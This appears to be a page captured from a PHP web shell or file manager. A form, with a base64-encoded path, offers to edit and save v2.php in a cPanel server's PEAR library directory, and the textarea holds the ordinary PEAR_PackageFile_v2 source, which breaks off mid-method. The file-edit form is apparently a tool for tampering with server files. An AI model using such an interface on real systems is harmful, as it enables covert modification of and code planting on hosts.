<hr>v2.php<form method=post action="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=djIucGhw"><input name="f" value="v2.php"><textarea name="t">&lt;?php
/**
 * PEAR_PackageFile_v2, package.xml version 2.0
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 1.4.0a1
 */
/**
 * For error handling
 */
require_once &#039;PEAR/ErrorStack.php&#039;;
/**
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.18
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_PackageFile_v2
{

    /**
     * Parsed package information
     * @var array
     * @access private
     */
    var $_packageInfo = array();

    /**
     * path to package .tgz or false if this is a local/extracted package.xml
     * @var string|false
     * @access private
     */
    var $_archiveFile;

    /**
     * path to package .xml or false if this is an abstract parsed-from-string xml
     * @var string|false
     * @access private
     */
    var $_packageFile;

    /**
     * This is used by file analysis routines to log progress information
     * @var PEAR_Common
     * @access protected
     */
    var $_logger;

    /**
     * This is set to the highest validation level that has been validated
     *
     * If the package.xml is invalid or unknown, this is set to 0.  If
     * normal validation has occurred, this is set to PEAR_VALIDATE_NORMAL.  If
     * downloading/installation validation has occurred it is set to PEAR_VALIDATE_DOWNLOADING
     * or INSTALLING, and so on up to PEAR_VALIDATE_PACKAGING.  This allows validation
     * &quot;caching&quot; to occur, which is particularly important for package validation, so
     * that PHP files are not validated twice
     * @var int
     * @access private
     */
    var $_isValid = 0;

    /**
     * True if the filelist has been validated
     * @param bool
     */
    var $_filesValid = false;

    /**
     * @var PEAR_Registry
     * @access protected
     */
    var $_registry;

    /**
     * @var PEAR_Config
     * @access protected
     */
    var $_config;

    /**
     * Optional Dependency group requested for installation
     * @var string
     * @access private
     */
    var $_requestedGroup = false;

    /**
     * @var PEAR_ErrorStack
     * @access protected
     */
    var $_stack;

    /**
     * Namespace prefix used for tasks in this package.xml - use tasks: whenever possible
     */
    var $_tasksNs;

    /**
     * Determines whether this packagefile was initialized only with partial package info
     *
     * If this package file was constructed via parsing REST, it will only contain
     *
     * - package name
     * - channel name
     * - dependencies
     * @var boolean
     * @access private
     */
    var $_incomplete = true;

    /**
     * @var PEAR_PackageFile_v2_Validator
     */
    var $_v2Validator;

    /**
     * The constructor merely sets up the private error stack
     */
    function __construct()
    {
        $this-&gt;_stack = new PEAR_ErrorStack(&#039;PEAR_PackageFile_v2&#039;, false, null);
        $this-&gt;_isValid = false;
    }

    /**
     * PHP 4 style constructor for backwards compatibility.
     * Used by PEAR_PackageFileManager2
     */
    public function PEAR_PackageFile_v2()
    {
        $this-&gt;__construct();
    }

    /**
     * To make unit-testing easier
     * @param PEAR_Frontend_*
     * @param array options
     * @param PEAR_Config
     * @return PEAR_Downloader
     * @access protected
     */
    function &amp;getPEARDownloader(&amp;$i, $o, &amp;$c)
    {
        $z = new PEAR_Downloader($i, $o, $c);
        return $z;
    }

    /**
     * To make unit-testing easier
     * @param PEAR_Config
     * @param array options
     * @param array package name as returned from {@link PEAR_Registry::parsePackageName()}
     * @param int PEAR_VALIDATE_* constant
     * @return PEAR_Dependency2
     * @access protected
     */
    function &amp;getPEARDependency2(&amp;$c, $o, $p, $s = PEAR_VALIDATE_INSTALLING)
    {
        if (!class_exists(&#039;PEAR_Dependency2&#039;)) {
            require_once &#039;PEAR/Dependency2.php&#039;;
        }
        $z = new PEAR_Dependency2($c, $o, $p, $s);
        return $z;
    }

    function getInstalledBinary()
    {
        return isset($this-&gt;_packageInfo[&#039;#binarypackage&#039;]) ? $this-&gt;_packageInfo[&#039;#binarypackage&#039;] :
            false;
    }

    /**
     * Installation of source package has failed, attempt to download and install the
     * binary version of this package.
     * @param PEAR_Installer
     * @return array|false
     */
    function installBinary(&amp;$installer)
    {
        if (!OS_WINDOWS) {
            $a = false;
            return $a;
        }
        if ($this-&gt;getPackageType() == &#039;extsrc&#039; || $this-&gt;getPackageType() == &#039;zendextsrc&#039;) {
            $releasetype = $this-&gt;getPackageType() . &#039;release&#039;;
            if (!is_array($installer-&gt;getInstallPackages())) {
                $a = false;
                return $a;
            }
            foreach ($installer-&gt;getInstallPackages() as $p) {
                if ($p-&gt;isExtension($this-&gt;_packageInfo[&#039;providesextension&#039;])) {
                    if ($p-&gt;getPackageType() != &#039;extsrc&#039; &amp;&amp; $p-&gt;getPackageType() != &#039;zendextsrc&#039;) {
                        $a = false;
                        return $a; // the user probably downloaded it separately
                    }
                }
            }
            if (isset($this-&gt;_packageInfo[$releasetype][&#039;binarypackage&#039;])) {
                $installer-&gt;log(0, &#039;Attempting to download binary version of extension &quot;&#039; .
                    $this-&gt;_packageInfo[&#039;providesextension&#039;] . &#039;&quot;&#039;);
                $params = $this-&gt;_packageInfo[$releasetype][&#039;binarypackage&#039;];
                if (!is_array($params) || !isset($params[0])) {
                    $params = array($params);
                }
                if (isset($this-&gt;_packageInfo[&#039;channel&#039;])) {
                    foreach ($params as $i =&gt; $param) {
                        $params[$i] = array(&#039;channel&#039; =&gt; $this-&gt;_packageInfo[&#039;channel&#039;],
                            &#039;package&#039; =&gt; $param, &#039;version&#039; =&gt; $this-&gt;getVersion());
                    }
                }
                $dl = &amp;$this-&gt;getPEARDownloader($installer-&gt;ui, $installer-&gt;getOptions(),
                    $installer-&gt;config);
                $verbose = $dl-&gt;config-&gt;get(&#039;verbose&#039;);
                $dl-&gt;config-&gt;set(&#039;verbose&#039;, -1);
                foreach ($params as $param) {
                    PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                    $ret = $dl-&gt;download(array($param));
                    PEAR::popErrorHandling();
                    if (is_array($ret) &amp;&amp; count($ret)) {
                        break;
                    }
                }
                $dl-&gt;config-&gt;set(&#039;verbose&#039;, $verbose);
                if (is_array($ret)) {
                    if (count($ret) == 1) {
                        $pf = $ret[0]-&gt;getPackageFile();
                        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                        $err = $installer-&gt;install($ret[0]);
                        PEAR::popErrorHandling();
                        if (is_array($err)) {
                            $this-&gt;_packageInfo[&#039;#binarypackage&#039;] = $ret[0]-&gt;getPackage();
                            // &quot;install&quot; self, so all dependencies will work transparently
                            $this-&gt;_registry-&gt;addPackage2($this);
                            $installer-&gt;log(0, &#039;Download and install of binary extension &quot;&#039; .
                                $this-&gt;_registry-&gt;parsedPackageNameToString(
                                    array(&#039;channel&#039; =&gt; $pf-&gt;getChannel(),
                                          &#039;package&#039; =&gt; $pf-&gt;getPackage()), true) . &#039;&quot; successful&#039;);
                            $a = array($ret[0], $err);
                            return $a;
                        }
                        $installer-&gt;log(0, &#039;Download and install of binary extension &quot;&#039; .
                            $this-&gt;_registry-&gt;parsedPackageNameToString(
                                    array(&#039;channel&#039; =&gt; $pf-&gt;getChannel(),
                                          &#039;package&#039; =&gt; $pf-&gt;getPackage()), true) . &#039;&quot; failed&#039;);
                    }
                }
            }
        }
        $a = false;
        return $a;
    }

    /**
     * @return string|false Extension name
     */
    function getProvidesExtension()
    {
        if (in_array($this-&gt;getPackageType(),
              array(&#039;extsrc&#039;, &#039;extbin&#039;, &#039;zendextsrc&#039;, &#039;zendextbin&#039;))) {
            if (isset($this-&gt;_packageInfo[&#039;providesextension&#039;])) {
                return $this-&gt;_packageInfo[&#039;providesextension&#039;];
            }
        }
        return false;
    }

    /**
     * @param string Extension name
     * @return bool
     */
    function isExtension($extension)
    {
        if (in_array($this-&gt;getPackageType(),
              array(&#039;extsrc&#039;, &#039;extbin&#039;, &#039;zendextsrc&#039;, &#039;zendextbin&#039;))) {
            return $this-&gt;_packageInfo[&#039;providesextension&#039;] == $extension;
        }
        return false;
    }

    /**
     * Tests whether every part of the package.xml 1.0 is represented in
     * this package.xml 2.0
     * @param PEAR_PackageFile_v1
     * @return bool
     */
    function isEquivalent($pf1)
    {
        if (!$pf1) {
            return true;
        }
        if ($this-&gt;getPackageType() == &#039;bundle&#039;) {
            return false;
        }
        $this-&gt;_stack-&gt;getErrors(true);
        if (!$pf1-&gt;validate(PEAR_VALIDATE_NORMAL)) {
            return false;
        }
        $pass = true;
        if ($pf1-&gt;getPackage() != $this-&gt;getPackage()) {
            $this-&gt;_differentPackage($pf1-&gt;getPackage());
            $pass = false;
        }
        if ($pf1-&gt;getVersion() != $this-&gt;getVersion()) {
            $this-&gt;_differentVersion($pf1-&gt;getVersion());
            $pass = false;
        }
        if (trim($pf1-&gt;getSummary()) != $this-&gt;getSummary()) {
            $this-&gt;_differentSummary($pf1-&gt;getSummary());
            $pass = false;
        }
        if (preg_replace(&#039;/\s+/&#039;, &#039;&#039;, $pf1-&gt;getDescription()) !=
              preg_replace(&#039;/\s+/&#039;, &#039;&#039;, $this-&gt;getDescription())) {
            $this-&gt;_differentDescription($pf1-&gt;getDescription());
            $pass = false;
        }
        if ($pf1-&gt;getState() != $this-&gt;getState()) {
            $this-&gt;_differentState($pf1-&gt;getState());
            $pass = false;
        }
        if (!strstr(preg_replace(&#039;/\s+/&#039;, &#039;&#039;, $this-&gt;getNotes()),
              preg_replace(&#039;/\s+/&#039;, &#039;&#039;, $pf1-&gt;getNotes()))) {
            $this-&gt;_differentNotes($pf1-&gt;getNotes());
            $pass = false;
        }
        $mymaintainers = $this-&gt;getMaintainers();
        $yourmaintainers = $pf1-&gt;getMaintainers();
        for ($i1 = 0; $i1 &lt; count($yourmaintainers); $i1++) {
            $reset = false;
            for ($i2 = 0; $i2 &lt; count($mymaintainers); $i2++) {
                if ($mymaintainers[$i2][&#039;handle&#039;] == $yourmaintainers[$i1][&#039;handle&#039;]) {
                    if ($mymaintainers[$i2][&#039;role&#039;] != $yourmaintainers[$i1][&#039;role&#039;]) {
                        $this-&gt;_differentRole($mymaintainers[$i2][&#039;handle&#039;],
                            $yourmaintainers[$i1][&#039;role&#039;], $mymaintainers[$i2][&#039;role&#039;]);
                        $pass = false;
                    }
                    if ($mymaintainers[$i2][&#039;email&#039;] != $yourmaintainers[$i1][&#039;email&#039;]) {
                        $this-&gt;_differentEmail($mymaintainers[$i2][&#039;handle&#039;],
                            $yourmaintainers[$i1][&#039;email&#039;], $mymaintainers[$i2][&#039;email&#039;]);
                        $pass = false;
                    }
                    if ($mymaintainers[$i2][&#039;name&#039;] != $yourmaintainers[$i1][&#039;name&#039;]) {
                        $this-&gt;_differentName($mymaintainers[$i2][&#039;handle&#039;],
                            $yourmaintainers[$i1][&#039;name&#039;], $mymaintainers[$i2][&#039;name&#039;]);
                        $pass = false;
                    }
                    unset($mymaintainers[$i2]);
                    $mymaintainers = array_values($mymaintainers);
                    unset($yourmaintainers[$i1]);
                    $yourmaintainers = array_values($yourmaintainers);
                    $reset = true;
                    break;
                }
            }
            if ($reset) {
                $i1 = -1;
            }
        }
        $this-&gt;_unmatchedMaintainers($mymaintainers, $yourmaintainers);
        $filelist = $this-&gt;getFilelist();
        foreach ($pf1-&gt;getFilelist() as $file =&gt; $atts) {
            if (!isset($filelist[$file])) {
                $this-&gt;_missingFile($file);
                $pass = false;
            }
        }
        return $pass;
    }

    function _differentPackage($package)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;package&#039; =&gt; $package,
            &#039;self&#039; =&gt; $this-&gt;getPackage()),
            &#039;package.xml 1.0 package &quot;%package%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _differentVersion($version)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;version&#039; =&gt; $version,
            &#039;self&#039; =&gt; $this-&gt;getVersion()),
            &#039;package.xml 1.0 version &quot;%version%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _differentState($state)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;state&#039; =&gt; $state,
            &#039;self&#039; =&gt; $this-&gt;getState()),
            &#039;package.xml 1.0 state &quot;%state%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _differentRole($handle, $role, $selfrole)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;handle&#039; =&gt; $handle,
            &#039;role&#039; =&gt; $role, &#039;self&#039; =&gt; $selfrole),
            &#039;package.xml 1.0 maintainer &quot;%handle%&quot; role &quot;%role%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _differentEmail($handle, $email, $selfemail)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;handle&#039; =&gt; $handle,
            &#039;email&#039; =&gt; $email, &#039;self&#039; =&gt; $selfemail),
            &#039;package.xml 1.0 maintainer &quot;%handle%&quot; email &quot;%email%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _differentName($handle, $name, $selfname)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;handle&#039; =&gt; $handle,
            &#039;name&#039; =&gt; $name, &#039;self&#039; =&gt; $selfname),
            &#039;package.xml 1.0 maintainer &quot;%handle%&quot; name &quot;%name%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _unmatchedMaintainers($my, $yours)
    {
        if ($my) {
            array_walk($my, function(&amp;$i, $k) { $i = $i[&quot;handle&quot;]; });
            $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;handles&#039; =&gt; $my),
                &#039;package.xml 2.0 has unmatched extra maintainers &quot;%handles%&quot;&#039;);
        }
        if ($yours) {
            array_walk($yours, function(&amp;$i, $k) { $i = $i[&quot;handle&quot;]; });
            $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;handles&#039; =&gt; $yours),
                &#039;package.xml 1.0 has unmatched extra maintainers &quot;%handles%&quot;&#039;);
        }
    }

    function _differentNotes($notes)
    {
        $truncnotes = strlen($notes) &lt; 25 ? $notes : substr($notes, 0, 24) . &#039;...&#039;;
        $truncmynotes = strlen($this-&gt;getNotes()) &lt; 25 ? $this-&gt;getNotes() :
            substr($this-&gt;getNotes(), 0, 24) . &#039;...&#039;;
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;notes&#039; =&gt; $truncnotes,
            &#039;self&#039; =&gt; $truncmynotes),
            &#039;package.xml 1.0 release notes &quot;%notes%&quot; do not match &quot;%self%&quot;&#039;);
    }

    function _differentSummary($summary)
    {
        $truncsummary = strlen($summary) &lt; 25 ? $summary : substr($summary, 0, 24) . &#039;...&#039;;
        $truncmysummary = strlen($this-&gt;getsummary()) &lt; 25 ? $this-&gt;getSummary() :
            substr($this-&gt;getsummary(), 0, 24) . &#039;...&#039;;
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;summary&#039; =&gt; $truncsummary,
            &#039;self&#039; =&gt; $truncmysummary),
            &#039;package.xml 1.0 summary &quot;%summary%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _differentDescription($description)
    {
        $truncdescription = trim(strlen($description) &lt; 25 ? $description : substr($description, 0, 24) . &#039;...&#039;);
        $truncmydescription = trim(strlen($this-&gt;getDescription()) &lt; 25 ? $this-&gt;getDescription() :
            substr($this-&gt;getdescription(), 0, 24) . &#039;...&#039;);
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;description&#039; =&gt; $truncdescription,
            &#039;self&#039; =&gt; $truncmydescription),
            &#039;package.xml 1.0 description &quot;%description%&quot; does not match &quot;%self%&quot;&#039;);
    }

    function _missingFile($file)
    {
        $this-&gt;_stack-&gt;push(__FUNCTION__, &#039;error&#039;, array(&#039;file&#039; =&gt; $file),
            &#039;package.xml 1.0 file &quot;%file%&quot; is not present in &lt;contents&gt;&#039;);
    }

    /**
     * WARNING - do not use this function unless you know what you&#039;re doing
     */
    function setRawState($state)
    {
        if (!isset($this-&gt;_packageInfo[&#039;stability&#039;])) {
            $this-&gt;_packageInfo[&#039;stability&#039;] = array();
        }
        $this-&gt;_packageInfo[&#039;stability&#039;][&#039;release&#039;] = $state;
    }

    /**
     * WARNING - do not use this function unless you know what you&#039;re doing
     */
    function setRawCompatible($compatible)
    {
        $this-&gt;_packageInfo[&#039;compatible&#039;] = $compatible;
    }

    /**
     * WARNING - do not use this function unless you know what you&#039;re doing
     */
    function setRawPackage($package)
    {
        $this-&gt;_packageInfo[&#039;name&#039;] = $package;
    }

    /**
     * WARNING - do not use this function unless you know what you&#039;re doing
     */
    function setRawChannel($channel)
    {
        $this-&gt;_packageInfo[&#039;channel&#039;] = $channel;
    }

    function setRequestedGroup($group)
    {
        $this-&gt;_requestedGroup = $group;
    }

    function getRequestedGroup()
    {
        if (isset($this-&gt;_requestedGroup)) {
            return $this-&gt;_requestedGroup;
        }
        return false;
    }

    /**
     * For saving in the registry.
     *
     * Set the last version that was installed
     * @param string
     */
    function setLastInstalledVersion($version)
    {
        $this-&gt;_packageInfo[&#039;_lastversion&#039;] = $version;
    }

    /**
     * @return string|false
     */
    function getLastInstalledVersion()
    {
        if (isset($this-&gt;_packageInfo[&#039;_lastversion&#039;])) {
            return $this-&gt;_packageInfo[&#039;_lastversion&#039;];
        }
        return false;
    }

    /**
     * Determines whether this package.xml has post-install scripts or not
     * @return array|false
     */
    function listPostinstallScripts()
    {
        $filelist = $this-&gt;getFilelist();
        $contents = $this-&gt;getContents();
        $contents = $contents[&#039;dir&#039;][&#039;file&#039;];
        if (!is_array($contents) || !isset($contents[0])) {
            $contents = array($contents);
        }
        $taskfiles = array();
        foreach ($contents as $file) {
            $atts = $file[&#039;attribs&#039;];
            unset($file[&#039;attribs&#039;]);
            if (count($file)) {
                $taskfiles[$atts[&#039;name&#039;]] = $file;
            }
        }
        $common = new PEAR_Common;
        $common-&gt;debug = $this-&gt;_config-&gt;get(&#039;verbose&#039;);
        $this-&gt;_scripts = array();
        $ret = array();
        foreach ($taskfiles as $name =&gt; $tasks) {
            if (!isset($filelist[$name])) {
                // ignored files will not be in the filelist
                continue;
            }
            $atts = $filelist[$name];
            foreach ($tasks as $tag =&gt; $raw) {
                $task = $this-&gt;getTask($tag);
                $task = new $task($this-&gt;_config, $common, PEAR_TASK_INSTALL);
                if ($task-&gt;isScript()) {
                    $ret[] = $filelist[$name][&#039;installed_as&#039;];
                }
            }
        }
        if (count($ret)) {
            return $ret;
        }
        return false;
    }

    /**
     * Initialize post-install scripts for running
     *
     * This method can be used to detect post-install scripts, as the return value
     * indicates whether any exist
     * @return bool
     */
    function initPostinstallScripts()
    {
        $filelist = $this-&gt;getFilelist();
        $contents = $this-&gt;getContents();
        $contents = $contents[&#039;dir&#039;][&#039;file&#039;];
        if (!is_array($contents) || !isset($contents[0])) {
            $contents = array($contents);
        }
        $taskfiles = array();
        foreach ($contents as $file) {
            $atts = $file[&#039;attribs&#039;];
            unset($file[&#039;attribs&#039;]);
            if (count($file)) {
                $taskfiles[$atts[&#039;name&#039;]] = $file;
            }
        }
        $common = new PEAR_Common;
        $common-&gt;debug = $this-&gt;_config-&gt;get(&#039;verbose&#039;);
        $this-&gt;_scripts = array();
        foreach ($taskfiles as $name =&gt; $tasks) {
            if (!isset($filelist[$name])) {
                // file was not installed due to installconditions
                continue;
            }
            $atts = $filelist[$name];
            foreach ($tasks as $tag =&gt; $raw) {
                $taskname = $this-&gt;getTask($tag);
                $task = new $taskname($this-&gt;_config, $common, PEAR_TASK_INSTALL);
                if (!$task-&gt;isScript()) {
                    continue; // scripts are only handled after installation
                }
                $lastversion = isset($this-&gt;_packageInfo[&#039;_lastversion&#039;]) ?
                    $this-&gt;_packageInfo[&#039;_lastversion&#039;] : null;
                $task-&gt;init($raw, $atts, $lastversion);
                $res = $task-&gt;startSession($this, $atts[&#039;installed_as&#039;], null);
                if (!$res) {
                    continue; // skip this file
                }
                if (PEAR::isError($res)) {
                    return $res;
                }
                $this-&gt;_scripts[] = $task;
            }
        }
        if (count($this-&gt;_scripts)) {
            return true;
        }
        return false;
    }

    function runPostinstallScripts()
    {
        if ($this-&gt;initPostinstallScripts()) {
            $ui = &amp;PEAR_Frontend::singleton();
            if ($ui) {
                $ui-&gt;runPostinstallScripts($this-&gt;_scripts, $this);
            }
        }
    }


    /**
     * Convert a recursive set of &lt;dir&gt; and &lt;file&gt; tags into a single &lt;dir&gt; tag with
     * &lt;file&gt; tags.
     */
    function flattenFilelist()
    {
        if (isset($this-&gt;_packageInfo[&#039;bundle&#039;])) {
            return;
        }
        $filelist = array();
        if (isset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;dir&#039;])) {
            $this-&gt;_getFlattenedFilelist($filelist, $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;]);
            if (!isset($filelist[1])) {
                $filelist = $filelist[0];
            }
            $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;] = $filelist;
            unset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;dir&#039;]);
        } else {
            // else already flattened but check for baseinstalldir propagation
            if (isset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;])) {
                if (isset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][0])) {
                    foreach ($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;] as $i =&gt; $file) {
                        if (isset($file[&#039;attribs&#039;][&#039;baseinstalldir&#039;])) {
                            continue;
                        }
                        $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][$i][&#039;attribs&#039;][&#039;baseinstalldir&#039;]
                            = $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;];
                    }
                } else {
                    if (!isset($this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;])) {
                       $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;]
                            = $this-&gt;_packageInfo[&#039;contents&#039;][&#039;dir&#039;][&#039;attribs&#039;][&#039;baseinstalldir&#039;];
                    }
                }
            }
        }
    }

    /**
     * @param array the final flattened file list
     * @param array the current directory being processed
     * @param string|false any recursively inherited baeinstalldir attribute
     * @param string private recursion variable
     * @return array
     * @access protected
     */
    function _getFlattenedFilelist(&amp;$files, $dir, $baseinstall = false, $path = &#039;&#039;)
    {
        if (isset($dir[&#039;attribs&#039;]) &amp;&amp; isset($dir[&#039;attribs&#039;][&#039;baseinstalldir&#039;])) {
            $baseinstall = $dir[&#039;attribs&#039;][&#039;baseinstalldir&#039;];
        }
        if (isset($dir[&#039;dir&#039;])) {
            if (!isset($dir[&#039;dir&#039;][0])) {
                $dir[&#039;dir&#039;] = array($dir[&#039;dir&#039;]);
            }
            foreach ($dir[&#039;dir&#039;] as $subdir) {
                if (!isset($subdir[&#039;attribs&#039;]) || !isset($subdir[&#039;attribs&#039;][&#039;name&#039;])) {
                    $name = &#039;*unknown*&#039;;
                } else {
                    $name = $subdir[&#039;attribs&#039;][&#039;name&#039;];
                }
                $newpath = empty($path) ? $name :
                    $path . &#039;/&#039; . $name;
                $this-&gt;_getFlattenedFilelist($files, $subdir,
                    $baseinstall, $newpath);
            }
        }
        if (isset($dir[&#039;file&#039;])) {
            if (!isset($dir[&#039;file&#039;][0])) {
                $dir[&#039;file&#039;] = array($dir[&#039;file&#039;]);
            }
            foreach ($dir[&#039;file&#039;] as $file) {
                $attrs = $file[&#039;attribs&#039;];
                $name = $attrs[&#039;name&#039;];
                if ($baseinstall &amp;&amp; !isset($attrs[&#039;baseinstalldir&#039;])) {
                    $attrs[&#039;baseinstalldir&#039;] = $baseinstall;
                }
                $attrs[&#039;name&#039;] = empty($path) ? $name : $path . &#039;/&#039; . $name;
                $attrs[&#039;name&#039;] = preg_replace(array(&#039;!\\\\+!&#039;, &#039;!/+!&#039;), array(&#039;/&#039;, &#039;/&#039;),
                    $attrs[&#039;name&#039;]);
                $file[&#039;attribs&#039;] = $attrs;
                $files[] = $file;
            }
        }
    }

    function setConfig(&amp;$config)
    {
        $this-&gt;_config = &amp;$config;
        $this-&gt;_registry = &amp;$config-&gt;getRegistry();
    }

    function setLogger(&amp;$logger)
    {
        if (!is_object($logger) || !method_exists($logger, &#039;log&#039;)) {
            return PEAR::raiseError(&#039;Logger must be compatible with PEAR_Common::log&#039;);
        }
        $this-&gt;_logger = &amp;$logger;
    }

    /**
     * WARNING - do not use this function directly unless you know what you&#039;re doing
     */
    function setDeps($deps)
    {
        $this-&gt;_packageInfo[&#039;dependencies&#039;] = $deps;
    }

    /**
     * WARNING - do not use this function directly unless you know what you&#039;re doing
     */
    function setCompatible($compat)
    {
        $this-&gt;_packageInfo[&#039;compatible&#039;] = $compat;
    }

    function setPackagefile($file, $archive = false)
    {
        $this-&gt;_packageFile = $file;
        $this-&gt;_archiveFile = $archive ? $archive : $file;
    }

    /**
     * Wrapper to {@link PEAR_ErrorStack::getErrors()}
     * @param boolean determines whether to purge the error stack after retrieving
     * @return array
     */
    function getValidationWarnings($purge = true)
    {
        return $this-&gt;_stack-&gt;getErrors($purge);
    }

    function getPackageFile()
    {
        return $this-&gt;_packageFile;
    }

    function getArchiveFile()
    {
        return $this-&gt;_archiveFile;
    }


    /**
     * Directly set the array that defines this packagefile
     *
     * WARNING: no validation.  This should only be performed by internal methods
     * inside PEAR or by inputting an array saved from an existing PEAR_PackageFile_v2
     * @param array
     */
    function fromArray($pinfo)
    {
        unset($pinfo[&#039;old&#039;]);
        unset($pinfo[&#039;xsdversion&#039;]);
        // If the changelog isn&#039;t an array then it was passed in as an empty tag
        if (isset($pinfo[&#039;changelog&#039;]) &amp;&amp; !is_array($pinfo[&#039;changelog&#039;])) {
          unset($pinfo[&#039;changelog&#039;]);
        }
        $this-&gt;_incomplete = false;
        $this-&gt;_packageInfo = $pinfo;
    }

    function isIncomplete()
    {
        return $this-&gt;_incomplete;
    }

    /**
     * @return array
     */
    function toArray($forreg = false)
    {
        if (!$this-&gt;validate(PEAR_VALIDATE_NORMAL)) {
            return false;
        }
        return $this-&gt;getArray($forreg);
    }

    function getArray($forReg = false)
    {
        if ($forReg) {
            $arr = $this-&gt;_packageInfo;
            $arr[&#039;old&#039;] = array();
            $arr[&#039;old&#039;][&#039;version&#039;] = $this-&gt;getVersion();
            $arr[&#039;old&#039;][&#039;release_date&#039;] = $this-&gt;getDate();
            $arr[&#039;old&#039;][&#039;release_state&#039;] = $this-&gt;getState();
            $arr[&#039;old&#039;][&#039;release_license&#039;] = $this-&gt;getLicense();
            $arr[&#039;old&#039;][&#039;release_notes&#039;] = $this-&gt;getNotes();
            $arr[&#039;old&#039;][&#039;release_deps&#039;] = $this-&gt;getDeps();
            $arr[&#039;old&#039;][&#039;maintainers&#039;] = $this-&gt;getMaintainers();
            $arr[&#039;xsdversion&#039;] = &#039;2.0&#039;;
            return $arr;
        } else {
            $info = $this-&gt;_packageInfo;
            unset($info[&#039;dirtree&#039;]);
            if (isset($info[&#039;_lastversion&#039;])) {
                unset($info[&#039;_lastversion&#039;]);
            }
            if (isset($info[&#039;#binarypackage&#039;])) {
                unset($info[&#039;#binarypackage&#039;]);
            }
            return $info;
        }
    }

    function packageInfo($field)
    {
        $arr = $this-&gt;getArray(true);
        if ($field == &#039;state&#039;) {
            return $arr[&#039;stability&#039;][&#039;release&#039;];
        }
        if ($field == &#039;api-version&#039;) {
            return $arr[&#039;version&#039;][&#039;api&#039;];
        }
        if ($field == &#039;api-state&#039;) {
            return $arr[&#039;stability&#039;][&#039;api&#039;];
        }
        if (isset($arr[&#039;old&#039;][$field])) {
            if (!is_string($arr[&#039;old&#039;][$field])) {
                return null;
            }
            return $arr[&#039;old&#039;][$field];
        }
        if (isset($arr[$field])) {
            if (!is_string($arr[$field])) {
                return null;
            }
            return $arr[$field];
        }
        return null;
    }

    function getName()
    {
        return $this-&gt;getPackage();
    }

    function getPackage()
    {
        if (isset($this-&gt;_packageInfo[&#039;name&#039;])) {
            return $this-&gt;_packageInfo[&#039;name&#039;];
        }
        return false;
    }

    function getChannel()
    {
        if (isset($this-&gt;_packageInfo[&#039;uri&#039;])) {
            return &#039;__uri&#039;;
        }
        if (isset($this-&gt;_packageInfo[&#039;channel&#039;])) {
            return strtolower($this-&gt;_packageInfo[&#039;channel&#039;]);
        }
        return false;
    }

    function getUri()
    {
        if (isset($this-&gt;_packageInfo[&#039;uri&#039;])) {
            return $this-&gt;_packageInfo[&#039;uri&#039;];
        }
        return false;
    }

    function getExtends()
    {
        if (isset($this-&gt;_packageInfo[&#039;extends&#039;])) {
            return $this-&gt;_packageInfo[&#039;extends&#039;];
        }
        return false;
    }

    function getSummary()
    {
        if (isset($this-&gt;_packageInfo[&#039;summary&#039;])) {
            return $this-&gt;_packageInfo[&#039;summary&#039;];
        }
        return false;
    }

    function getDescription()
    {
        if (isset($this-&gt;_packageInfo[&#039;description&#039;])) {
            return $this-&gt;_packageInfo[&#039;description&#039;];
        }
        return false;
    }

    function getMaintainers($raw = false)
    {
        if (!isset($this-&gt;_packageInfo[&#039;lead&#039;])) {
            return false;
        }
        if ($raw) {
            $ret = array(&#039;lead&#039; =&gt; $this-&gt;_packageInfo[&#039;lead&#039;]);
